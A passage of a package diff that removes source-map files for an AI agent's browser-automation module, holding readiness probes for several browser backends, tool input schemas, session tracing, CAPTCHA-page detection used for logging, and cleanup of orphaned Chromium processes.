'cloakbrowser',\n      'cloakbrowser_not_installed',\n      e instanceof Error ? e.message : String(e),\n    );\n  }\n}\n\nasync function checkCdp(cdpUrl: string): Promise<BrowserSetupHint | null> {\n  let httpBase: URL;\n  try {\n    httpBase = new URL(cdpUrl);\n    httpBase.protocol = httpBase.protocol === 'wss:' ? 'https:' : 'http:';\n    httpBase.pathname = '/json/version';\n    httpBase.search = '';\n    httpBase.hash = '';\n  } catch (e) {\n    return hint('cdp', 'cdp_unreachable', `invalid cdpUrl: ${e instanceof Error ? e.message : String(e)}`);\n  }\n  try {\n    const res = await fetch(httpBase.toString(), { signal: AbortSignal.timeout(2000) });\n    if (!res.ok) {\n      return hint('cdp', 'cdp_unreachable', `HTTP ${res.status} from ${httpBase.toString()}`);\n    }\n    return null;\n  } catch (e) {\n    return hint('cdp', 'cdp_unreachable', e instanceof Error ? e.message : String(e));\n  }\n}\n\nfunction checkCloud(params: {\n  apiKey?: string;\n  providerType: 'browserbase' | 'browser-use';\n}): BrowserSetupHint | null {\n  if (params.apiKey?.trim()) return null;\n  const envKey =\n    params.providerType === 'browserbase'\n      ? process.env.BROWSERBASE_API_KEY?.trim()\n      : process.env.BROWSER_USE_API_KEY?.trim();\n  if (envKey) return null;\n  return hint(\n    'cloud',\n    'cloud_api_key_missing',\n    `no API key configured for ${params.providerType}`,\n  );\n}\n\n/**\n * Probe the currently-configured browser backend. Returns `null` when ready.\n *\n * Probe budget is small (filesystem stats + loopback fetches with a 2s timeout)\n * so it's safe to call before every `browser_use` invocation — but callers\n * typically cache the result for a few seconds to handle bursts.\n */\nexport async function checkBrowserReadiness(\n  cfg: Config | undefined,\n): Promise<BrowserNotReadyError | null> {\n  const backend = resolveBrowserBackendFromConfig(cfg);\n  let probe: BrowserSetupHint | null = null;\n  try {\n    switch (backend.mode) {\n      case 'extension':\n        probe = await checkExtension(backend.config);\n        break;\n      case 'local':\n        probe = await checkLocal();\n        break;\n      case 'cloakbrowser':\n        probe = await checkCloak(backend.config);\n        break;\n      case 'cdp':\n        probe = await checkCdp(backend.config.wsEndpoint);\n        break;\n      case 'cloud':\n        probe = checkCloud({ providerType: backend.config.type, apiKey: backend.config.apiKey });\n        break;\n    }\n  } catch (e) {\n    log.warn({ err: e, backend: backend.mode }, 'Readiness probe threw unexpectedly');\n    return null;\n  }\n  return probe ? new BrowserNotReadyError(probe) : null;\n}\n"],"mappings":"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"}

package/dist/src/browser/schemas.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"schemas.js","names":[],"sources":["../../../src/browser/schemas.ts"],"sourcesContent":["import { Type } from '@sinclair/typebox';\n\nexport const BrowserNavigateSchema = Type.Object({\n  url: Type.String({ description: 'URL to navigate to' }),\n  waitFor: Type.Optional(\n    Type.Union(\n      [Type.Literal('load'), Type.Literal('domcontentloaded'), Type.Literal('networkidle')],\n      {\n        description: 'Wait condition (default: domcontentloaded)',\n      },\n    ),\n  ),\n});\n\nexport const BrowserSnapshotSchema = Type.Object({\n  selector: Type.Optional(\n    Type.String({ description: 'CSS selector to snapshot a specific element. Omit for full page.' }),\n  ),\n  maxLength: Type.Optional(\n    Type.Number({ description: 'Max characters in snapshot (default: 30000)', default: 30000 }),\n  ),\n});\n\nexport const BrowserClickSchema = Type.Object({\n  selector: Type.Optional(Type.String({ description: 'CSS selector of the element to click' })),\n  text: Type.Optional(\n    Type.String({ description: 'Visible text of the element to click (uses getByText)' }),\n  ),\n  role: Type.Optional(\n    Type.String({\n      description: 'ARIA role and accessible name, e.g. \"button:Submit\" (uses getByRole)',\n    }),\n  ),\n});\n\nexport const BrowserTypeSchema = Type.Object({\n  selector: Type.Optional(Type.String({ description: 'CSS selector of the input field' })),\n  label: Type.Optional(Type.String({ description: 'Label text of the input field (uses getByLabel)' })),\n  text: Type.String({ description: 'Text to type into the field' }),\n  pressEnter: Type.Optional(\n    Type.Boolean({ description: 'Press Enter after typing (default: false)' }),\n  ),\n});\n\nexport const BrowserScrollSchema = Type.Object({\n  direction: Type.Union([Type.Literal('down'), Type.Literal('up')], {\n    description: 'Scroll direction',\n  }),\n  amount: Type.Optional(\n    Type.Number({ description: 'Pixels to scroll (default: 500)', default: 500 }),\n  ),\n});\n\nexport const BrowserScreenshotSchema = Type.Object({\n  selector: Type.Optional(\n    Type.String({ description: 'CSS selector to screenshot a specific element. Omit for full page.' }),\n  ),\n  description: Type.Optional(\n    Type.String({ description: 'What to look for in the screenshot (passed to the vision model)' }),\n  ),\n});\n\nexport const BrowserBackSchema = Type.Object({\n  waitFor: Type.Optional(\n    Type.Union(\n      [Type.Literal('load'), Type.Literal('domcontentloaded'), Type.Literal('networkidle')],\n      { description: 'Wait condition after going back (default: domcontentloaded)' },\n    ),\n  ),\n});\n\nexport const BrowserPressSchema = Type.Object({\n  key: Type.String({\n    description:\n      'Key or key combination to press, e.g. \"Enter\", \"Tab\", \"Escape\", \"ArrowDown\", \"Control+A\", \"Shift+Enter\"',\n  }),\n});\n\nexport const BrowserConsoleSchema = Type.Object({\n  javascript: Type.Optional(\n    Type.String({\n      description:\n        'JavaScript expression to evaluate in the page context. The return value is serialized to JSON.',\n    }),\n  ),\n});\n\nexport const BrowserGetImagesSchema = Type.Object({\n  selector: Type.Optional(\n    Type.String({ description: 'CSS selector to limit image extraction scope. Omit for full page.' }),\n  ),\n  maxImages: Type.Optional(\n    Type.Number({ description: 'Max images to return (default: 20)', default: 20 }),\n  ),\n});\n\nexport const BrowserCloseSchema = Type.Object({});\n\nexport const BrowserVisionSchema = Type.Object({\n  prompt: Type.Optional(\n    Type.String({\n      description:\n        'What to analyze in the screenshot (default: describe the visible UI state). Requires an available image model.',\n    }),\n  ),\n  selector: Type.Optional(\n    Type.String({ description: 'CSS selector to screenshot a specific element. Omit for full page.' }),\n  ),\n});\n\nexport const BrowserDialogSchema = Type.Object({\n  action: Type.Union([Type.Literal('accept'), Type.Literal('dismiss')], {\n    description: 'Whether to accept or dismiss the dialog',\n  }),\n  promptText: Type.Optional(\n    Type.String({ description: 'Text to enter into a prompt() dialog before accepting' }),\n  ),\n});\n\nexport const BrowserCdpSchema = Type.Object({\n  method: Type.String({\n    description: 'CDP method name, e.g. \"Runtime.evaluate\", \"Page.captureScreenshot\"',\n  }),\n  params: Type.Optional(\n    Type.Record(Type.String(), Type.Unknown(), {\n      description: 'CDP method parameters as a JSON object',\n    }),\n  ),\n});\n"],"mappings":"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"}

package/dist/src/browser/session-lifecycle.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"session-lifecycle.js","names":[],"sources":["../../../src/browser/session-lifecycle.ts"],"sourcesContent":["import type { BrowserContext, Page } from 'playwright-core';\n\nimport { createLogger } from '../utils/logger.js';\n\nconst log = createLogger('BrowserLifecycle');\n\n// ── Session Recording (Playwright Tracing) ──────────────────────────────────\n\nexport interface TracingOptions {\n  /** Enable session recording. Default: false. */\n  enabled: boolean;\n  /** Directory to save trace files. */\n  outputDir: string;\n  /** Include screenshots in trace. Default: true. */\n  screenshots?: boolean;\n  /** Include DOM snapshots in trace. Default: false (large files). */\n  snapshots?: boolean;\n}\n\nconst DEFAULT_TRACING: TracingOptions = {\n  enabled: false,\n  outputDir: '/tmp/xopc-traces',\n  screenshots: true,\n  snapshots: false,\n};\n\n/**\n * Start Playwright tracing on a browser context for session recording.\n * Captures network, actions, and optionally screenshots/snapshots.\n */\nexport async function startTracing(\n  context: BrowserContext,\n  options?: Partial<TracingOptions>,\n): Promise<void> {\n  const opts = { ...DEFAULT_TRACING, ...options };\n  if (!opts.enabled) return;\n\n  try {\n    await context.tracing.start({\n      screenshots: opts.screenshots ?? true,\n      snapshots: opts.snapshots ?? false,\n    });\n    log.info({ outputDir: opts.outputDir }, 'Session tracing started');\n  } catch (e) {\n    const msg = e instanceof Error ? e.message : String(e);\n    log.warn({ errorMessage: msg }, `Failed to start tracing: ${msg}`);\n  }\n}\n\n/**\n * Stop tracing and save the trace file.\n *\n * @returns Path to the saved trace file, or undefined if tracing was not active.\n */\nexport async function stopTracing(\n  context: BrowserContext,\n  options?: Partial<TracingOptions>,\n): Promise<string | undefined> {\n  const opts = { ...DEFAULT_TRACING, ...options };\n  if (!opts.enabled) return undefined;\n\n  const timestamp = new Date().toISOString().replace(/[:.]/g, '-');\n  const tracePath = `${opts.outputDir}/trace-${timestamp}.zip`;\n\n  try {\n    const { mkdir } = await import('node:fs/promises');\n    await mkdir(opts.outputDir, { recursive: true });\n    await context.tracing.stop({ path: tracePath });\n    log.info({ tracePath }, 'Session trace saved');\n    return tracePath;\n  } catch (e) {\n    const msg = e instanceof Error ? e.message : String(e);\n    log.warn({ errorMessage: msg }, `Failed to save trace: ${msg}`);\n    return undefined;\n  }\n}\n\n// ── Bot Detection Warning ───────────────────────────────────────────────────\n\n/**\n * Known bot detection indicators in page content or response headers.\n * When detected, we log a warning so the agent/user can adjust strategy.\n */\nconst BOT_DETECTION_PATTERNS = [\n  // Common CAPTCHA / challenge pages\n  /captcha/i,\n  /recaptcha/i,\n  /hcaptcha/i,\n  /cloudflare.*challenge/i,\n  /please verify you are (a )?human/i,\n  /access denied/i,\n  /403 forbidden/i,\n  /blocked.*bot/i,\n  /automated.*browser/i,\n  /unusual.*traffic/i,\n  // Additional detection signals (aligned with CloakBrowser fingerprint checks)\n  /just a moment/i,\n  /checking your browser/i,\n  /security check/i,\n  /verify.*not.*robot/i,\n  /turnstile/i,\n  /browser.*verification/i,\n];\n\nexport interface BotDetectionResult {\n  detected: boolean;\n  indicators: string[];\n}\n\n/**\n * Check a page for signs of bot detection / CAPTCHA challenge.\n * Returns indicators found. Non-blocking — for advisory logging only.\n */\nexport async function checkBotDetection(page: Page): Promise<BotDetectionResult> {\n  const indicators: string[] = [];\n\n  try {\n    const title = await page.title();\n    const bodyText = await page.evaluate(\n      () => (globalThis as unknown as { document: { body: { innerText: string } } }).document.body.innerText.slice(0, 2000),\n    ).catch(() => '');\n\n    const combined = `${title}\\n${bodyText}`;\n\n    for (const pattern of BOT_DETECTION_PATTERNS) {\n      const match = combined.match(pattern);\n      if (match) {\n        indicators.push(match[0]);\n      }\n    }\n\n    if (indicators.length > 0) {\n      log.warn(\n        { url: page.url(), indicators },\n        `Bot detection likely: ${indicators.join(', ')}`,\n      );\n    }\n  } catch {\n    // Page may be navigating or closed — ignore.\n  }\n\n  return { detected: indicators.length > 0, indicators };\n}\n\n// ── Orphan Process Cleanup ──────────────────────────────────────────────────\n\n/**\n * Kill orphan Chromium processes that may have been left behind by crashed sessions.\n *\n * This is a best-effort cleanup. On macOS/Linux, searches for chromium/chrome\n * processes with the `--no-sandbox` flag (which xopc adds to all launches).\n *\n * @returns Number of processes killed.\n */\nexport async function cleanupOrphanProcesses(): Promise<number> {\n  const { exec } = await import('node:child_process');\n  const { promisify } = await import('node:util');\n  const execAsync = promisify(exec);\n\n  let killed = 0;\n  try {\n    // Find chromium processes launched with our specific args\n    const { stdout } = await execAsync(\n      'ps aux | grep -E \"chromium|chrome\" | grep \"no-sandbox\" | grep -v grep',\n    ).catch(() => ({ stdout: '' }));\n\n    const lines = stdout.trim().split('\\n').filter(Boolean);\n\n    for (const line of lines) {\n      const parts = line.trim().split(/\\s+/);\n      const pid = Number(parts[1]);\n      if (!pid || pid === process.pid) continue;\n\n      try {\n        process.kill(pid, 'SIGTERM');\n        killed++;\n        log.info({ pid }, 'Killed orphan browser process');\n      } catch {\n        // Process may have already exited\n      }\n    }\n\n    if (killed > 0) {\n      log.info({ killed }, `Cleaned up ${killed} orphan browser process(es)`);\n    }\n  } catch (e) {\n    const msg = e instanceof Error ? e.message : String(e);\n    log.debug({ errorMessage: msg }, 'Orphan cleanup skipped or failed');\n  }\n\n  return killed;\n}\n"],"mappings":"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"}

package/dist/src/browser/snapshot-helpers.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"snapshot-helpers.js","names":[],"sources":["../../../src/browser/snapshot-helpers.ts"],"sourcesContent":["/**\n * Snapshot intelligence helpers — structure-aware truncation for ARIA snapshots.\n *\n * ARIA snapshots use indentation-based YAML-like trees. Naive character-based\n * truncation can split in the middle of a node, making the output confusing.\n * These helpers preserve tree-node boundaries and provide metadata.\n */\n\n/**\n * Truncate an ARIA snapshot at a line boundary, preserving complete tree nodes.\n *\n * Strategy:\n * 1. If the text is within `maxLength`, return as-is.\n * 2. Find the last newline before `maxLength`.\n * 3. Walk backwards to find a line at indentation level ≤ 2 (top-level nodes),\n *    ensuring we don't cut inside a deeply nested subtree.\n * 4. Append a truncation notice with stats.\n */\nexport function truncateSnapshotAtBoundary(text: string, maxLength: number): string {\n  if (text.length <= maxLength) return text;\n\n  // Find the last newline before the limit\n  let cutoff = text.lastIndexOf('\\n', maxLength);\n  if (cutoff <= 0) {\n    // No newline found — fall back to hard cut\n    return `${text.slice(0, maxLength)}\\n... (truncated)`;\n  }\n\n  // Try to cut at a top-level node boundary (indent ≤ 2 spaces)\n  // by walking backwards up to 2000 chars to find a clean cut point.\n  const searchStart = Math.max(0, cutoff - 2000);\n  const lines = text.slice(searchStart, cutoff).split('\\n');\n\n  let bestCutIndex = cutoff;\n  let accumulated = cutoff;\n\n  for (let i = lines.length - 1; i >= 0; i--) {\n    const line = lines[i];\n    const indent = line.search(/\\S/);\n    // A line with indent ≤ 2 or an empty line marks a clean boundary\n    if (indent >= 0 && indent <= 2) {\n      bestCutIndex = accumulated;\n      break;\n    }\n    accumulated -= line.length + 1; // +1 for newline\n  }\n\n  const truncated = text.slice(0, bestCutIndex);\n  const totalLines = text.split('\\n').length;\n  const shownLines = truncated.split('\\n').length;\n  const omittedLines = totalLines - shownLines;\n\n  return `${truncated}\\n... (truncated: showing ${shownLines} of ${totalLines} lines, ${omittedLines} lines omitted)`;\n}\n\n/**\n * Produce a compact summary header for a snapshot.\n * Counts interactive elements (links, buttons, inputs) to help the agent\n * understand page complexity at a glance.\n */\nexport function snapshotSummaryHeader(snapshotText: string, pageUrl: string): string {\n  const lines = snapshotText.split('\\n');\n  const totalLines = lines.length;\n\n  let linkCount = 0;\n  let buttonCount = 0;\n  let inputCount = 0;\n  let imageCount = 0;\n\n  for (const line of lines) {\n    const trimmed = line.trimStart();\n    if (trimmed.startsWith('- link ') || trimmed.startsWith('- link:')) linkCount++;\n    if (trimmed.startsWith('- button ') || trimmed.startsWith('- button:')) buttonCount++;\n    if (trimmed.startsWith('- textbox ') || trimmed.startsWith('- textbox:') ||\n        trimmed.startsWith('- searchbox ') || trimmed.startsWith('- combobox ')) inputCount++;\n    if (trimmed.startsWith('- img ') || trimmed.startsWith('- img:')) imageCount++;\n  }\n\n  const parts = [`Page: ${pageUrl}`, `Snapshot: ${totalLines} lines`];\n  const counts: string[] = [];\n  if (linkCount > 0) counts.push(`${linkCount} links`);\n  if (buttonCount > 0) counts.push(`${buttonCount} buttons`);\n  if (inputCount > 0) counts.push(`${inputCount} inputs`);\n  if (imageCount > 0) counts.push(`${imageCount} images`);\n  if (counts.length > 0) {\n    parts.push(`Interactive: ${counts.join(', ')}`);\n  }\n\n  return parts.join(' | 